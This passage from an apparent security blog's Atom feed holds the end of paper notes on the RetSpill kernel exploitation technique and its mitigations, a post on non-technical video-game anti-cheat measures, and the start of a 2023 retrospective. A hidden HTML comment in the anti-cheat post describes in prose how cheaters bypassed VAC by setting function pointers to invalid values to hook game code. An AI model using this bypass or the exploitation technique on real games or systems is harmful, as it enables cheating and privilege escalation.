\"&lt;code&gt;edx&lt;/code&gt; comes from both &lt;em&gt;Saved Registers&lt;/em&gt; and &lt;em&gt;Calling Convention&lt;/em&gt;\n    spillages.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Of course, given that some authors are &lt;a href=\"https://angr.io/\"&gt;angr&lt;/a&gt; developers,\n&lt;a href=\"https://github.com/angr/angrop\"&gt;angrop&lt;/a&gt; was used to knit the ROP-chains, and\nthe results are pretty impressive:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;The abundance of data spillage allows 20 out of 22 proof-of-concept programs\nthat manifest CFHP to be semi-automatically turned into full privilege escalation exploits.&lt;/p&gt;\n&lt;/blockquote&gt;\n&lt;p&gt;To kill this technique, the authors suggest:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;&lt;em&gt;Preserved Register&lt;/em&gt;: &lt;code&gt;RANDKSTACK&lt;/code&gt; helps, but storing userspace registers\n   somewhere else than on the stack would be even better, eg. in &lt;code&gt;task_struct&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;em&gt;Uninitialized Memory&lt;/em&gt;: enable &lt;code&gt;STACKLEAK&lt;/code&gt;/&lt;code&gt;STRUCTLEAK&lt;/code&gt;/&lt;code&gt;CONFIG\\_INIT\\_STACK\\_\\*&lt;/code&gt;,\n   but the performances impact is pretty steep.&lt;/li&gt;\n&lt;li&gt;&lt;em&gt;Calling Convention&lt;/em&gt; and &lt;em&gt;Valid Data&lt;/em&gt;: an improved version of &lt;code&gt;RANDKSTACK&lt;/code&gt;,\n   adding a random offset at the bottom of each stack frame, between &lt;code&gt;rsp&lt;/code&gt; and user data.\n   This technique also mitigates Preserved Registers and Uninitialized Memory,\n   with an average performance overhead of 0.61%.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;Like all good papers it comes &lt;a href=\"https://github.com/sefcom/RetSpill\"&gt;with code&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Amusingly:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;RetSpill completely bypasses OpenBSD's\n  &lt;a href=\"https://isopenbsdsecu.re/mitigations/map_stack/\"&gt;MAP_STACK&lt;/a&gt; mitigation,\n  should it ever be implemented in kernel-land, &lt;/li&gt;\n&lt;li&gt;The &lt;a href=\"https://org.anize.rs/\"&gt;Organizers&lt;/a&gt; CTF team\n  &lt;a href=\"https://org.anize.rs/0CTF-2021-finals/pwn/kernote\"&gt;used&lt;/a&gt;\n  the &lt;a href=\"https://elixir.bootlin.com/linux/latest/ident/pt_regs\"&gt;&lt;code&gt;ptregs&lt;/code&gt;&lt;/a&gt; structure\n  to store their ROP chain for &lt;a href=\"https://ctftime.org/event/1357\"&gt;0CTF/TCTF 2021\n  Finals&lt;/a&gt;'s\n  &lt;a href=\"https://ctftime.org/task/17461\"&gt;Kernote&lt;/a&gt; pwn challenge.&lt;/li&gt;\n&lt;/ul&gt;</content><category term=\"paper_notes\"></category></entry><entry><title>On non-technical video-games cheat mitigations</title><link href=\"https://dustri.org/b/on-non-technical-video-games-cheat-mitigations.html\" rel=\"alternate\"></link><published>2024-01-12T20:15:00+01:00</published><updated>2024-01-12T20:15:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-01-12:/b/on-non-technical-video-games-cheat-mitigations.html</id><summary type=\"html\">&lt;p&gt;Cheats are as old as video games, and will be there as long. There\nare a couple of high-profile players in the anti-cheat market today:\n&lt;a href=\"https://en.wikipedia.org/wiki/BattlEye\"&gt;BattlEye&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/Valve_Anti-Cheat\"&gt;Valve's VAC&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/PunkBuster\"&gt;PunkBuster&lt;/a&gt;,\n&lt;a href=\"https://easy.ac/en-us/\"&gt;Epic's EAC&lt;/a&gt;,\n&lt;a href=\"https://wowpedia.fandom.com/wiki/Warden_(software)\"&gt;Blizzard's Warden&lt;/a&gt;,\n&lt;a href=\"https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-\"&gt;Riot's Vanguard&lt;/a&gt;,\n&lt;a href=\"https://callofduty.com/en/warzone/ricochet\"&gt;Activision's Ricochet&lt;/a&gt;,\n… as well as in-house ones.&lt;/p&gt;\n&lt;p&gt;To try to keep up in the race …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;Cheats are as old as video games, and will be there as long. There\nare a couple of high-profile players in the anti-cheat market today:\n&lt;a href=\"https://en.wikipedia.org/wiki/BattlEye\"&gt;BattlEye&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/Valve_Anti-Cheat\"&gt;Valve's VAC&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/PunkBuster\"&gt;PunkBuster&lt;/a&gt;,\n&lt;a href=\"https://easy.ac/en-us/\"&gt;Epic's EAC&lt;/a&gt;,\n&lt;a href=\"https://wowpedia.fandom.com/wiki/Warden_(software)\"&gt;Blizzard's Warden&lt;/a&gt;,\n&lt;a href=\"https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-\"&gt;Riot's Vanguard&lt;/a&gt;,\n&lt;a href=\"https://callofduty.com/en/warzone/ricochet\"&gt;Activision's Ricochet&lt;/a&gt;,\n… as well as in-house ones.&lt;/p&gt;\n&lt;p&gt;To try to keep up in the race, both sides are resorting to more and more invasive\ntechnical privacy-invasive measures: streaming virtualised shellcodes,\nhardware fingerprinting and locking,\n&lt;a href=\"https://secret.club/2020/01/05/battleye-stack-walking.html\"&gt;stack-walking&lt;/a&gt;,\nbootkit-like kernel drivers,\n&lt;a href=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\"&gt;TPM&lt;/a&gt;/\nsecure boot/\n&lt;a href=\"https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard\"&gt;HVCI&lt;/a&gt;/\n&lt;a href=\"https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit\"&gt;IOMMU&lt;/a&gt;/\n&lt;a href=\"https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs\"&gt;VBS&lt;/a&gt;/…\n&lt;a href=\"https://support-valorant.riotgames.com/hc/en-us/articles/22291331362067-Vanguard-Restrictions\"&gt;shenanigans&lt;/a&gt;,\nhypervisors &lt;a href=\"https://secret.club/2020/04/13/how-anti-cheats-detect-system-emulation.html\"&gt;detection&lt;/a&gt;/usage,\n&lt;a href=\"https://secret.club/2020/03/31/battleye-developer-tracking.html\"&gt;exfiltration of suspicious materials&lt;/a&gt;,\nexternal &lt;a href=\"https://en.wikipedia.org/wiki/Direct_memory_access\"&gt;DMA&lt;/a&gt; hardware,\nor other &lt;a href=\"https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html\"&gt;more exotic things&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Yet anti-cheats are still routinely bypassed, less in a public manner, granted, but private\nand closed-community cheats are still flourishing, since it's a losing game by\nnature. And since games and anti-cheats are software, they're of course riddled\nwith &lt;a href=\"https://vice.com/en/article/d7y5wj/street-fighter-v-rootkit\"&gt;hilarious&lt;/a&gt; bugs leading to\n&lt;a href=\"https://unknowncheats.me/forum/anti-cheat-bypass/614682-eac-dll-loading-method-eac-forcer.html\"&gt;stupid&lt;/a&gt;\n&lt;a href=\"https://unknowncheats.me/forum/anti-cheat-bypass/503052-easy-anti-cheat-kernel-packet-fucker.html\"&gt;bypasses&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;But this isn't what this blogpost is about. Nowadays, cheats are considered as\npart of a larger problem: abuses and toxicity. Cheats aren't (only) hunted down\nbecause they're morally questionable, but because they disturb the way the game is meant to be\nenjoyed. Toxic and abusive behaviours lead to the very same results:\nA game that isn't fun to play because of cheating/abuse/toxicity issues will see its\nplayers number decrease, have poor reviews, … and won't make money. I'm sure\nthere is a parallel to be made about the current state of our society, but I\ndigress.&lt;/p&gt;\n&lt;p&gt;For this article, we'll consider cheating and abuse/toxicity\nas a single issue under the term &lt;em&gt;abuse&lt;/em&gt;.\nNow, because abuse isn't a purely technical issue, but also a social one, it\ncan't be solved by technical solutions only, so let's have\na look at what non-technical mitigations game developers are\ncoming up with to curb this issue.&lt;/p&gt;\n&lt;p&gt;The most obvious mitigation is to make cheating expensive, money wise.\nHaving to pay 60EUR for a game is a steep investment, especially if one \nhas to buy it again every time they get banned. This of course doesn't\napply for free-to-play games, but can be emulated by having a cosmetics\necosystem, either to pay for, or to grind. The other expensive thing when\nplaying video games is the hardware, and bans can be tied to it.&lt;/p&gt;\n&lt;h2&gt;Global measures&lt;/h2&gt;\n&lt;p&gt;The &lt;em&gt;big&lt;/em&gt; mitigation at this level is reputation systems. They're based on\npeople who know best how a fun and fair game should go: players. After a\nmatch, they're encouraged to cast votes on how fair it was, on a match level,\nbut also directly at players level: \"Bob was really looking out for others\",\n\"Bob was a team player\", and so on. For negative behaviour, reports don't have\nto wait the end of the match, players can report\ncheating, being offensive in the text/voice chat, &lt;a href=\"https://en.wikipedia.org/wiki/Griefer\"&gt;griefing&lt;/a&gt;,\nqueue dodging, &lt;a href=\"https://www.urbandictionary.com/define.php?term=smurfing\"&gt;smurfing&lt;/a&gt;, … \nOf course, slanderous reports are penalised.&lt;/p&gt;\n&lt;p&gt;Peer pressure is a good lever too, by taking action not only against cheaters,\nbut from people benefiting from the cheat, like regular teammates.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Bug_bounty_program\"&gt;Bug bounty programs&lt;/a&gt; are now commonplace,\nso it's only logical that there are now &lt;a href=\"https://hackerone.com/riot\"&gt;some&lt;/a&gt;\nrewarding anti-cheat bypasses/exploits. The rewards are a bit cheap for now,\nbut will likely rise up as the programs mature. The positive effects are\nmultiples:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;It increases the incentives to report issues to get them fixed: a player\n   finding a glitch/exploit can now get some cash for the discovery&lt;/li&gt;\n&lt;li&gt;As more abuse vectors are killed, the reward prices will rise, and it might\n   become more profitable to report bugs than to sell them to cheat providers.\n   This isn't unheard of, with &lt;a href=\"https://google.github.io/security-research/kernelctf/rules.html\"&gt;Google's\n   kernelCTF&lt;/a&gt;\n   paying two times more than Zerodium.&lt;/li&gt;\n&lt;li&gt;If the bug bounty program is correctly managed, the probability of getting a\n   given amount of money for reporting an issue will be higher than using it in\n   a cheat for an unknown period of time until it gets fixed.&lt;/li&gt;\n&lt;li&gt;It will likely increase the amount of people looking for issues and willing\n   to report them.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;Community managers can also regularly &lt;s&gt;spread &lt;a href=\"https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt\"&gt;FUD&lt;/a&gt;&lt;/s&gt;\npost updates about ban waves, anti-cheat measures, reports, … to make it\nclear that abusive behaviours are something being taken care of,\nand a dangerous gamble for players to take part in. I think\nI have seen some people spending time proving that some cheaters streaming live\nwere in fact recycled pre-recorded footage from an earlier version of game,\nbecause some of the game details have been updated in the meantime.&lt;/p&gt;\n&lt;h2&gt;Accounts-level measures&lt;/h2&gt;\n&lt;p&gt;Some game stores, like &lt;a href=\"https://en.wikipedia.org/wiki/Steam_(service)\"&gt;Steam&lt;/a&gt;,\nhave an account-level \"cheater\" mark, meaning that if someone gets banned from a game for cheating,\nother games can know about it. But more importantly,\n&lt;a href=\"https://en.wikipedia.org/wiki/Achievement_(video_games)\"&gt;achievements&lt;/a&gt;\nand cosmetics are also tied to an account, and as mentioned previously,\nthose are non-zero time and/or money investments. Getting banned means losing\nthem. This of course only deters opportunistic cheaters,\nas people can simply create other accounts to cheat, but this can be made\nharder via purely technical means.&lt;/p&gt;\n&lt;p&gt;Most &lt;em&gt;competitive&lt;/em&gt; online games have ranked and casual game modes, with the\nformer being only accessible after having spent a certain amount of time in the\nlatter one. Meaning that one has to do it again every time they get banned,\nor &lt;a href=\"https://en.wikipedia.org/wiki/Boosting_(video_games)\"&gt;pay someone to do it&lt;/a&gt;.\nSome studios are even making player go through more hoops to be able to play, like requiring\n&lt;a href=\"https://en.wikipedia.org/wiki/Multi-factor_authentication\"&gt;MFA&lt;/a&gt;,\nor playing a couple of matches against &lt;a href=\"https://en.wikipedia.org/wiki/Video_game_bot\"&gt;bots&lt;/a&gt;\nbranded as a tutorial, before being able to play with other people. There is a\ncourse a fine balance to keep to annoy abusers but not legitimate players.&lt;/p&gt;\n&lt;h2&gt;Player-level measures&lt;/h2&gt;\n&lt;p&gt;The goal of non-technical measures isn't to make it impossible to be abusive,\nbut to make it not worth it. Moreover, issuing instahwpermabans to &lt;a href=\"https://en.wikipedia.org/wiki/Edgelord\"&gt;edgelords&lt;/a&gt;\nseems a tad heavy-handed, so having a large panel of measures against abuser makes sense:\none might want to allow people to rectify their behaviour, to isolate them to\ncool down, and so on. It might include textual warnings, temporary bans, kick\nfrom the current game, chat/voice mute, losing access to ranked play,\nreducing the amount of earned experience points, …&lt;/p&gt;\n&lt;p&gt;Players are abusive for various reasons, but I'd argue that most do because\nit's fun. Ruining the fun for them is thus a good way to curb such behaviours.\nA simple way to do this is to make them play together, by grouping players\nby reputation, or by having servers with technical anti-cheat measures\nexplicitly disabled. But there are even more creative measures,\nlike &lt;a href=\"https://www.callofduty.com/en/blog/2023/11/call-of-duty-ricochet-anti-cheat-modern-warfare-III-progress-report\"&gt;disabling their parachute&lt;/a&gt;,\nreducing their damage output to ridiculous levels, taking away their weapons,\n&lt;a href=\"https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update\"&gt;making other legitimate players invisible to them&lt;/a&gt;,\nrandomly drop some of their inputs,\n&lt;a href=\"https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html\"&gt;hallucinations&lt;/a&gt;, … and\nwhile this costs a bit more engineering time than simply grouping them\ntogether, it has a couple of high-value returns on investment:\n- allowing game developers to spend more time collecting data on how cheats are working on a technical level,\n- reducing the impact cheaters have on a game make is possible to\n  significantly defer banning them without impacting other players too much,\n  making it harder for cheat makers to pinpoint how and why a cheat was\n  detected.\n- it's absolutely hilarious&lt;/p&gt;\n&lt;h2&gt;Examples&lt;/h2&gt;\n&lt;h3&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege\"&gt;Rainbow Six Siege&lt;/a&gt;&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;It uses BattlEye, and in end-2022 early 2023 banned around\n  &lt;a href=\"https://ubisoft.com/en-us/game/rainbow-six/siege/news-updates/2g7hT2NNuOqrj35RfgsFxN/anticheat-status-update-march-2023\"&gt;5000&lt;/a&gt;\n  accounts per month, which is a lot, but also shows that it doesn't deter\n  cheaters.&lt;/li&gt;\n&lt;li&gt;The game costs &lt;a href=\"https://store.steampowered.com/app/359550/Tom_Clancys_Rainbow_Six_Siege/\"&gt;$8&lt;/a&gt;,\n  but if you want to have access to all the operators, it's $70. One can also\n  unlock operators by playing, which takes several hundreds of hours.&lt;/li&gt;\n&lt;li&gt;To play ranked, one need to reach &lt;a href=\"https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/4hShcX2HZTG2ttIi3IIN9Y/matchmaking-rating\"&gt;level 50&lt;/a&gt;,\n  which takes around 50h, give or takes.&lt;/li&gt;\n&lt;li&gt;The game has a rich ecosystem of cosmetics\n  than can be &lt;a href=\"https://store.ubisoft.com/us/dlc-type-skins-cosmetics\"&gt;purchased for steep prices&lt;/a&gt;,\n  and painstakingly earned by playing,\n  that would be lost in cast of an account ban.&lt;/li&gt;\n&lt;li&gt;Friendly fire will result in the damages being applied to the shoot \n  should it be reported as voluntary by the player at the receiving end.&lt;/li&gt;\n&lt;li&gt;It's developing a pretty involved &lt;a href=\"https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/22JLMFeayzuamhb7YKbAjm/reputation-system-activation-more\"&gt;reputation system&lt;/a&gt;,\n  where people with a \"positive\" behaviour gets rewarded (more experience\n  points, cosmetics, …), while those with a \"negative\" one\n  might be prevented from playing &lt;em&gt;ranked&lt;/em&gt;,\n  get less experience points,\n  …&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Call_of_Duty:_Modern_Warfare_II_(2022_video_game)\"&gt;Call of Duty: Modern Warfare II&lt;/a&gt;:&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;The game costs &lt;a href=\"https://store.steampowered.com/app/1962660/Call_of_Duty_Modern_Warfare_II/\"&gt;$70&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://callofduty.com/blog/2023/02/call-of-duty-modern-warfare-II-ranked-play-features-challenges-rewards\"&gt;\"Players must be at least Level 16 to access Ranked Play\"&lt;/a&gt;,\n  but this can be done in a couple of hours.&lt;/li&gt;\n&lt;li&gt;Cheating results in account-wise permaban across all Call of Duty titles.&lt;/li&gt;\n&lt;li&gt;Banned accounts have their records purged from leaderboards.&lt;/li&gt;\n&lt;li&gt;Players engaging in \"negative\" behaviours might get\n  muted on chat/voice, … and interestingly, cheaters \n  are going to get paired with other cheaters in matchmaking.\n  &lt;a href=\"https://support.activision.com/articles/call-of-duty-security-and-enforcement-policy\"&gt;Players who are often playing with the same cheaters&lt;/a&gt; (boosting),\n  will also get their reputation tanked.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;&lt;a href=\"https://playvalorant.com/\"&gt;Valorant&lt;/a&gt;&lt;/h3&gt;\n&lt;p&gt;Its developer even published a\n&lt;a href=\"https://playvalorant.com/en-us/news/tags/game-health-series/\"&gt;great series of blopost&lt;/a&gt; on\nwhat it calls \"game health\"&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;The game is free-to-play, but comes with &lt;em&gt;a lot&lt;/em&gt; of &lt;a href=\"https://valorantstrike.com/valorant-store/\"&gt;cosmetics&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Cheaters get a permaban, but people benefiting from them might get a 6 months one as well.&lt;/li&gt;\n&lt;li&gt;Players joining games and &lt;a href=\"https://playvalorant.com/en-gb/news/dev/valorant-behavior-detection-and-penalty-updates/\"&gt;idling to reap out experience points&lt;/a&gt;,\n  doing nothing but kneecapping their team will &lt;a href=\"https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-afk/\"&gt;get penalised&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Players are encouraged to report toxic behaviours, and to not engage,\n  since engagement might be penalized as well&lt;/li&gt;\n&lt;li&gt;Players using,\n  &lt;a href=\"https://support-valorant.riotgames.com/hc/en-us/articles/360044791253-Inappropriate-In-Game-Names\"&gt;certain words&lt;/a&gt;\n  whether in chat or as username,\n  will be flagged as toxic.&lt;/li&gt;\n&lt;li&gt;Penalties come in various size, shapes and durations, allowing to fine tune\n  according to behaviour: warnings, voice/chat restrictions,\n  reduction in experience points\n  gain, reduction in raked rating, increased queue waiting time, ranking game\n  ban, global ban.&lt;/li&gt;\n&lt;li&gt;Valorant &lt;a href=\"https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-smurf-detection/\"&gt;published&lt;/a&gt;\n  their approach to mitigate smurfing; acknowledging that while having multiple accounts\n  to smurf/trade/evade bans/… is not desirable, some people are using\n  them to to play with friends with a better/worse ranked level.\n  So while they took measures to detect and mitigate having multi-accounts,\n  they also relaxed the maximum ranks difference for players to play together,\n  which significantly reduced the number of alt-accounts usage,\n  but also didn't alter match fairness in a measurable way.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h2&gt;Conclusion&lt;/h2&gt;\n&lt;p&gt;This is all nice and dandy, but is it working? According to\ndata from &lt;a href=\"https://www.ubisoft.com/en-us/game/rainbow-six/siege/player-protection\"&gt;Rainbow Six Siege&lt;/a&gt;:\n&lt;a href=\"https://playvalorant.com/en-us/news/tags/game-health-series/\"&gt;Valorant&lt;/a&gt;,\n&lt;a href=\"https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update\"&gt;Call of Duty: Modern Warfare 2&lt;/a&gt;,\n… those measures are indeed working pretty well,\nand are likely providing better results than technical-only\nmeasures. They are also cheaper, since steering people away from toxic\nbehaviours doesn't reduce the number of players as much as banning them\noutright. It's nice to see that the video game industry realised that cheating and\nabuses/toxicity could be addressed in similar non-technical ways, and that both\napproaches are complementary. This is a stark contrast to other ones,\nwhere techno-solutionism is seen at the only possible remedy, even more so \nin our machine-learning-all-the-things era. &lt;/p&gt;\n&lt;h2&gt;Sources and resources&lt;/h2&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://youtube.com/watch?v=hI7V60r7Jco\"&gt;Anti-Cheat for Multiplayer Games&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://secret.club/\"&gt;Secret Club&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://unknowncheats.me/\"&gt;UnKnoWnCheaTs&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;!--\n\nSteam's VAC was already doing basic stuff, like hashing the entire code region of the game on launch, storing the hash, and then re-hashing the code region every few minutes to see if someone had changed the code, presumably to install a trampoline and hook into the game's functions (to write aimbots, wallhacks, etc). When a hash change is detected, the player is banned.\n\nCheaters found a way to bypass this by simply finding the function they desired to hook and setting any random function pointer within it to 0 (stored in rw memory, so doesn't trigger the code region hash mentioned above). This would trigger an exception, which the cheat developer would catch with Windows' SEH/VEH, effectively giving them a hook into the function without having to modify the code region.\n\nActivision's anti-cheat would then go through a bunch of function pointers (the ones in network/rendering functions mostly, since that's where you'd want to hook to write cheats) and check for null pointers. If a pointer was null, they'd ban you.\n\nFunny enough, this was incredibly easy to bypass: just set the pointer to 1, or 2, or 3, or ...!! All of these addresses are most likely still invalid and they'll still trigger an exception, even though they're theoretically valid pointers, giving you a de-facto hook into the game that bypassed both VAC and BO2's anticheat, and was pretty much unpatchable. Perhaps that's why they started being annoying and banning people for running IDA, Cheat Engine, etc., which are certainly probable indicators but definitely not hard evidence for cheats.\n\n--&gt;</content><category term=\"games\"></category></entry><entry><title>2023 in retrospect</title><link href=\"https://dustri.org/b/2023-in-retrospect.html\" rel=\"alternate\"></link><published>2023-12-31T23:59:00+01:00</published><updated>2023-12-31T23:59:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-12-31:/b/2023-in-retrospect.html</id><summary type=\"html\">&lt;p&gt;In 2023, I did, amongst other things:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Donated some money:&lt;ul&gt;\n&lt;li&gt;$400 to &lt;a href=\"https://fsfe.org/\"&gt;FSFE&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to &lt;a href=\"https://noyb.eu\"&gt;NOYB&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to &lt;a href=\"https://riseup.net\"&gt;Riseup&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to the &lt;a href=\"https://archive.org\"&gt;Internet Archive&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to the &lt;a href=\"https://en.wikipedia.org/wiki/Planned_Parenthood\"&gt;Planned Parenthood Federation of America&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$1000 to &lt;a href=\"https://daysforgirls.org\"&gt;days for girls&lt;/a&gt;, on the advice of &lt;a href=\"https://foreignbystander.com/\"&gt;chik&lt;/a&gt; from &lt;a href=\"https://darkscience.net\"&gt;darkscience&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;$200 each, as a &lt;a href=\"https://opensource.googleblog.com/search/label/peer%20bonus\"&gt;Open Source …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type=\"html\">&lt;p&gt;In 2023, I did, amongst other things:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Donated some money:&lt;ul&gt;\n&lt;li&gt;$400 to &lt;a href=\"https://fsfe.org/\"&gt;FSFE&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to &lt;a href=\"https://noyb.eu\"&gt;NOYB&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to &lt;a href=\"https://riseup.net\"&gt;Riseup&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to the &lt;a href=\"https://archive.org\"&gt;Internet Archive&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$5000 to the &lt;a href=\"https://en.wikipedia.org/wiki/Planned_Parenthood\"&gt;Planned Parenthood Federation of America&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;$1000 to &lt;a href=\"https://daysforgirls.org\"&gt;days for girls&lt;/a&gt;, on the advice of &lt;a href=\"https://foreignbystander.com/\"&gt;chik&lt;/a&gt; from &lt;a href=\"https://darkscience.net\"&gt;darkscience&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;$200 each, as a &lt;a href=\"https://opensource.googleblog.com/search/label/peer%20bonus\"&gt;Open Source Peer Bonus&lt;/a&gt;, courtesy of Google, to&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/richfelker/\"&gt;Rich Felker&lt;/a&gt; for their work on &lt;a href=\"https://musl.libc.org\"&gt;musl&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://mxxn.io/\"&gt;Blaž Hrastnik&lt;/a&gt; for their work on &lt;a href=\"https://helix-editor.com\"&gt;Helix&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/justinmk\"&gt;Justin Keyes&lt;/a&gt; for their work on &lt;a href=\"https://neovim.io\"&gt;Neovim&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/jeanas\"&gt;Jean Abou-Samra&lt;/a&gt; for their work on &lt;a href=\"https://pygments.org\"&gt;Pygments&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Read a couple of books:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Killer_(comics)\"&gt;Le tueur&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Some &lt;a href=\"https://en.wikipedia.org/wiki/Warhammer_40,000\"&gt;Warhammer 40,000&lt;/a&gt;:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Sons_of_the_Hydra_(Novel)\"&gt;Sons of the Hydra&lt;/a&gt;, neat.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Anthology)\"&gt;Dark Imperium (Anthology)&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Shroud_of_Night_(Novel)\"&gt;Shroud of Night&lt;/a&gt;, forgettable.&lt;/li&gt;\n&lt;li&gt;The &lt;a href=\"https://wh40k.lexicanum.com/wiki/Black_Legion_(Novel_Series)\"&gt;Black Legion&lt;/a&gt; duology, solid.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Renegades:_Harrowmaster_(Novel)\"&gt;Renegades: Harrowmaster&lt;/a&gt;, witty.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Assassinorum:_Kingmaker_(Novel)\"&gt;Assassinorum: Kingmaker&lt;/a&gt;, decent.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Night_Lords_(Novel_Series)\"&gt;Night Lords: The Omnibus&lt;/a&gt;, outstanding.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Deacon_of_Wounds_(Novel)\"&gt;The Deacon of Wounds&lt;/a&gt; great writing style.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/Assassinorum:_Execution_Force_(Novel)\"&gt;Assassinorum: Execution force&lt;/a&gt;, forgettable.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Infinite_and_the_Divine_(Novel)\"&gt;The Infinite and the Divine&lt;/a&gt;, highly entertaining.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_I_(Novel)\"&gt;The End and the Death vol. 1&lt;/a&gt;, a &lt;em&gt;teensy&lt;/em&gt; bit over the top.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_II_(Novel)\"&gt;The End and the Death vol. 2&lt;/a&gt;, almost there, almost there, ...&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Macharian_Crusade_(Novel_Series)\"&gt;The Macharian Crusade Omnibus&lt;/a&gt;, a writing style a tad heavy.&lt;/li&gt;\n&lt;li&gt;The &lt;a href=\"https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Novel_Series)\"&gt;Dark Imperium&lt;/a&gt; trilogy, nice to see the setting moving forward!&lt;/li&gt;\n&lt;li&gt;The first 5 tomes of the &lt;a href=\"https://wh40k.lexicanum.com/wiki/Dawn_of_Fire_(Novel_Series)\"&gt;Dawn of Fire&lt;/a&gt; heptalogy, definitely a series of books.&lt;/li&gt;\n&lt;li&gt;&lt;a 